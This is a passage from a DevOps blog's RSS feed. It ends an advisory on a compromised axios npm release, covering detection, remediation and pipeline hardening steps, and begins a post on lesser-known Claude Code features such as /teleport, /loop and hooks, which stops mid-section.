<span class="hljs-built_in">ls</span> node_modules/plain-crypto-js 2&gt;/dev/null &amp;&amp; <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;FOUND - you may be compromised&quot;</span>
</code></pre><h3 id="h3-check-network-logs" class="group relative scroll-mt-24">
        <a href="#h3-check-network-logs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Check network logs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-check-network-logs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Search your network monitoring for any outbound connections to <code>sfrclak.com</code>. If you find them, assume the machine is compromised.</p>
<h3 id="h3-check-cicd-build-logs" class="group relative scroll-mt-24">
        <a href="#h3-check-cicd-build-logs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Check CI/CD build logs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-check-cicd-build-logs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Look at any builds that ran after March 31, 2026 00:21 UTC. If those builds ran <code>npm install</code> without a lockfile or with a lockfile that resolved to <code>latest</code>, they may have pulled the malicious version.</p>
<h2 id="h2-how-to-fix-it" class="group relative scroll-mt-24">
        <a href="#h2-how-to-fix-it" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to Fix It
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-fix-it"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-immediate-steps" class="group relative scroll-mt-24">
        <a href="#h3-immediate-steps" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Immediate steps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-immediate-steps"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash"><span class="hljs-comment"># Pin to safe versions</span>
npm install axios@1.14.0

<span class="hljs-comment"># Or if you were on the 0.x branch</span>
npm install axios@0.30.3

<span class="hljs-comment"># Remove the malicious dependency if present</span>
<span class="hljs-built_in">rm</span> -rf node_modules/plain-crypto-js

<span class="hljs-comment"># Clean install</span>
<span class="hljs-built_in">rm</span> -rf node_modules
npm install
</code></pre><h3 id="h3-rotate-everything" class="group relative scroll-mt-24">
        <a href="#h3-rotate-everything" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Rotate everything
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-rotate-everything"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you find any evidence of the compromised versions in your environment, treat the machine as compromised and rotate:</p>
<ul>
<li>npm tokens</li>
<li>API keys and secrets</li>
<li>SSH keys</li>
<li>Cloud provider credentials (AWS, GCP, Azure)</li>
<li>Database passwords</li>
<li>CI/CD tokens (GitHub, GitLab, etc.)</li>
<li>Any other credentials that were accessible on the affected system</li>
</ul>
<p>This is not optional. The RAT had access to everything the compromised process could reach.</p>
<h3 id="h3-redeploy" class="group relative scroll-mt-24">
        <a href="#h3-redeploy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Redeploy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-redeploy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Rebuild and redeploy all affected services from a clean environment.</p>
<h2 id="h2-how-to-prevent-this-in-your-pipeline" class="group relative scroll-mt-24">
        <a href="#h2-how-to-prevent-this-in-your-pipeline" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to Prevent This in Your Pipeline
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-prevent-this-in-your-pipeline"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This attack exploited two weaknesses: compromised credentials and the default behavior of npm&#39;s dependency resolution. Here is how to protect your pipeline.</p>
<h3 id="h3-1-always-use-lockfiles" class="group relative scroll-mt-24">
        <a href="#h3-1-always-use-lockfiles" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Always use lockfiles
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-always-use-lockfiles"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash"><span class="hljs-comment"># In CI, use ci instead of install</span>
npm ci

<span class="hljs-comment"># This reads from the lockfile exactly, never resolving &quot;latest&quot;</span>
</code></pre><p>If your lockfile pinned <code>axios@1.14.0</code>, running <code>npm ci</code> would never pull <code>1.14.1</code>. The attack only worked on installs that resolved to the latest version.</p>
<h3 id="h3-2-disable-postinstall-scripts-in-ci" class="group relative scroll-mt-24">
        <a href="#h3-2-disable-postinstall-scripts-in-ci" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Disable postinstall scripts in CI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-disable-postinstall-scripts-in-ci"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash"><span class="hljs-comment"># Add to your CI pipeline</span>
npm ci --ignore-scripts

<span class="hljs-comment"># Then run only the scripts you actually need</span>
npm run build
</code></pre><p>The malware relied entirely on a <code>postinstall</code> script. Disabling scripts blocks this attack vector completely.</p>
<h3 id="h3-3-enable-npm-audit-in-ci" class="group relative scroll-mt-24">
        <a href="#h3-3-enable-npm-audit-in-ci" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Enable npm audit in CI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-enable-npm-audit-in-ci"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-bash"><span class="hljs-comment"># Add to your pipeline</span>
npm audit --audit-level=high

<span class="hljs-comment"># Fail the build if vulnerabilities are found</span>
npm audit --audit-level=high || <span class="hljs-built_in">exit</span> 1
</code></pre><h3 id="h3-4-pin-dependencies-explicitly" class="group relative scroll-mt-24">
        <a href="#h3-4-pin-dependencies-explicitly" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Pin dependencies explicitly
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-pin-dependencies-explicitly"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In your <code>package.json</code>, use exact versions instead of ranges:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;dependencies&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;axios&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;1.14.0&quot;</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span>
</code></pre><p>Not <code>^1.14.0</code> (which resolves to the latest minor), not <code>~1.14.0</code> (which resolves to the latest patch). Exact versions only for critical dependencies.</p>
<h3 id="h3-5-use-a-dependency-scanning-tool" class="group relative scroll-mt-24">
        <a href="#h3-5-use-a-dependency-scanning-tool" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Use a dependency scanning tool
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-use-a-dependency-scanning-tool"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Tools like <a href="https://socket.dev/">Socket</a>, <a href="https://snyk.io/">Snyk</a>, or <a href="https://docs.npmjs.com/about-registry-signatures">npm audit signatures</a> can catch malicious packages before they reach your build environment. Socket&#39;s automated detection flagged <code>plain-crypto-js</code> within minutes of publication.</p>
<h3 id="h3-6-enable-2fa-on-your-npm-account" class="group relative scroll-mt-24">
        <a href="#h3-6-enable-2fa-on-your-npm-account" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          6. Enable 2FA on your npm account
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-6-enable-2fa-on-your-npm-account"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you maintain any npm packages, enable two-factor authentication. The attacker got in because the maintainer&#39;s credentials were compromised without a second factor blocking the login.</p>
<pre><code class="hljs language-bash">npm profile enable-2fa auth-and-writes
</code></pre><p>The <code>auth-and-writes</code> level requires 2FA for both login and publishing. This is the setting that would have prevented this attack.</p>
<h3 id="h3-7-set-a-minimum-release-age" class="group relative scroll-mt-24">
        <a href="#h3-7-set-a-minimum-release-age" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          7. Set a minimum release age
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-7-set-a-minimum-release-age"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This one is underrated. You can tell npm to refuse any package version that was published less than 7 days ago:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Add to ~/.npmrc</span>
min-release-age=7
</code></pre><p>If you use Python with uv, the equivalent is:</p>
<pre><code class="hljs language-toml"><span class="hljs-comment"># ~/.config/uv/uv.toml</span>
<span class="hljs-attr">exclude-newer</span> = <span class="hljs-string">&quot;7 days&quot;</span>
</code></pre><p>This gives security scanners a 7-day window to catch malicious packages before your systems ever pull them. The axios attack was flagged within minutes, but if your build ran in that window, you were hit. A 7-day delay would have saved you.</p>
<p>The tradeoff: you cannot install brand-new versions, including your own packages or urgent security patches, for a week. For CI/CD pipelines this is usually fine. For local development, you can override it when needed with <code>--min-release-age=0</code>.</p>
<h2 id="h2-the-bigger-problem" class="group relative scroll-mt-24">
        <a href="#h2-the-bigger-problem" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Bigger Problem
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-bigger-problem"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This is not the first supply chain attack on npm and it will not be the last. The JavaScript ecosystem&#39;s dependency model means a single compromised package can cascade into millions of installations within hours.</p>
<p>As Andrej Karpathy <a href="https://x.com/karpathy">pointed out</a>, he had axios as a transitive dependency through a Google Workspace CLI tool. His installed version happened to resolve to an unaffected <code>1.13.5</code>, but the dependency was not pinned. A few hours later and it would have pulled the malicious version automatically.</p>
<p>The defaults do not protect you. <code>npm install</code> resolves to <code>latest</code>. Most <code>package.json</code> files use caret ranges. Most CI pipelines run <code>npm install</code> instead of <code>npm ci</code>. Most developers do not audit their dependency tree regularly.</p>
<p>Every one of those defaults worked in the attacker&#39;s favor.</p>
<h2 id="h2-key-takeaways" class="group relative scroll-mt-24">
        <a href="#h2-key-takeaways" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Key Takeaways
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-key-takeaways"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li><strong>Check now.</strong> Search your lockfiles for <code>axios@1.14.1</code>, <code>axios@0.30.4</code>, or <code>plain-crypto-js</code>. Do it before you finish reading this.</li>
<li><strong>Use <code>npm ci</code> in CI.</strong> Always. It reads the lockfile exactly and never resolves to latest.</li>
<li><strong>Disable postinstall scripts in CI.</strong> The <code>--ignore-scripts</code> flag blocks the most common malware delivery mechanism in npm.</li>
<li><strong>Pin critical dependencies.</strong> Use exact versions for packages that touch networking, auth, or crypto.</li>
<li><strong>Enable 2FA on npm.</strong> If you publish packages, <code>auth-and-writes</code> is the only setting that matters.</li>
<li><strong>Set <code>min-release-age=7</code> in your <code>.npmrc</code>.</strong> Gives scanners time to catch malicious packages before you install them.</li>
<li><strong>Run dependency scanning.</strong> Socket, Snyk, or even <code>npm audit</code> catch known malicious packages automatically.</li>
</ol>
<p>Supply chain security is not somebody else&#39;s problem. If your application has a <code>node_modules</code> directory, it is your problem.</p>
<p><em>Sources: <a href="https://socket.dev/blog/axios-npm-package-compromised">Socket</a>, <a href="https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan">StepSecurity</a>, <a href="https://www.aikido.dev/blog/axios-npm-compromised-maintainer-hijacked-rat">Aikido</a>, <a href="https://thehackernews.com/2026/03/axios-supply-chain-attack-pushes-cross.html">The Hacker News</a></em></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Claude Code Hidden Features You Probably Missed]]></title>
      <link>https://devops-daily.com/posts/claude-code-hidden-features-you-probably-missed</link>
      <description><![CDATA[From mobile sessions to automated PR reviews, here are the Claude Code features that most engineers overlook but can seriously level up your workflow.]]></description>
      <pubDate>Mon, 30 Mar 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/claude-code-hidden-features-you-probably-missed</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[devops]]></category><category><![CDATA[claude-code]]></category><category><![CDATA[ai]]></category><category><![CDATA[developer-tools]]></category><category><![CDATA[automation]]></category><category><![CDATA[productivity]]></category>
      <content:encoded><![CDATA[<p>Most people use Claude Code to write code, fix bugs, and maybe generate a commit message. That&#39;s fine, but you&#39;re leaving a lot on the table.</p>
<p>Boris Cherny, the creator of Claude Code, recently shared a <a href="https://x.com/bcherny/status/2038454336355999749">thread on X</a> about features that even daily users tend to overlook. Some of these genuinely changed how I work. Here&#39;s a rundown of the ones worth knowing about.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Claude Code has mobile sessions, automated scheduling, voice input, parallel agents, git worktrees, hooks, and a browser extension. Most people use about 20% of what it can do.</p>
<h2 id="h2-move-your-session-anywhere-with-teleport" class="group relative scroll-mt-24">
        <a href="#h2-move-your-session-anywhere-with-teleport" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Move Your Session Anywhere with /teleport
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-move-your-session-anywhere-with-teleport"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>You can start a session on your laptop and pick it up on your phone. Or move it to the web. The <code>/teleport</code> command transfers your full session context between devices.</p>
<p>The reverse also works. If you&#39;re reviewing something on your phone during a commute, you can <code>/teleport</code> it back to your terminal when you sit down.</p>
<p>There&#39;s also <code>/remote-control</code> which lets you connect to a running session from another device without transferring it.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># On your laptop</span>
/teleport

<span class="hljs-comment"># On your phone or web - enter the code to pick up the session</span>
</code></pre><p>This is useful when you kick off a long-running task on your workstation and want to check progress from your phone.</p>
<h2 id="h2-automate-repetitive-tasks-with-loop-and-schedule" class="group relative scroll-mt-24">
        <a href="#h2-automate-repetitive-tasks-with-loop-and-schedule" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Automate Repetitive Tasks with /loop and /schedule
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-automate-repetitive-tasks-with-loop-and-schedule"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This one is a genuine workflow changer. You can tell Claude Code to run a task on a recurring schedule for up to a week.</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Review PRs every 30 minutes</span>
/loop 30m review open PRs and post comments

<span class="hljs-comment"># Run a health check every hour</span>
/schedule every 1h check <span class="hljs-keyword">if</span> the staging environment is healthy
</code></pre><p>Think about what you do repeatedly: reviewing PRs, checking CI status, monitoring deployments, updating dependencies. You can automate all of it without writing a single script.</p>
<p>Some practical examples:</p>
<ul>
<li>Review all open PRs every morning at 9 AM</li>
<li>Monitor a Slack channel for feedback and create GitHub issues</li>
<li>Run your test suite after every push and report failures</li>
<li>Check for dependency updates weekly</li>
</ul>
<h2 id="h2-hooks-for-deterministic-automation" class="group relative scroll-mt-24">
        <a href="#h2-hooks-for-deterministic-automation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Hooks for Deterministic Automation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-hooks-for-deterministic-automation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Hooks let you run code at specific points in Claude Code&#39;s lifecycle. Unlike the AI-driven <code>/loop</code> command, hooks are deterministic - they always run the same way.</p>
<p>You configure them in your settings and they fire on events like:</p>
<ul>
<li><strong>Session start</strong> - set up your environment, load context</li>
<li><strong>Before bash commands</strong> - validate or log commands before execution</li>
<li><strong>On permission requests</strong> - auto-approve specific patterns</li>
<li><strong>Continuous operation</strong> - keep Claude running without manual intervention</li>
</ul>
<p>This is powerful for teams. You can enforce standards (like running linters before every commit) without relying on each engineer to remember.</p>
<h2 id="h2-git-worktrees-for-parallel-sessions" class="group relative scroll-mt-24">
        <a href="#h2-git-worktrees-for-parallel-sessions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Git Worktrees for Parallel Sessions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-git-worktrees-for-parallel-sessions"
        >
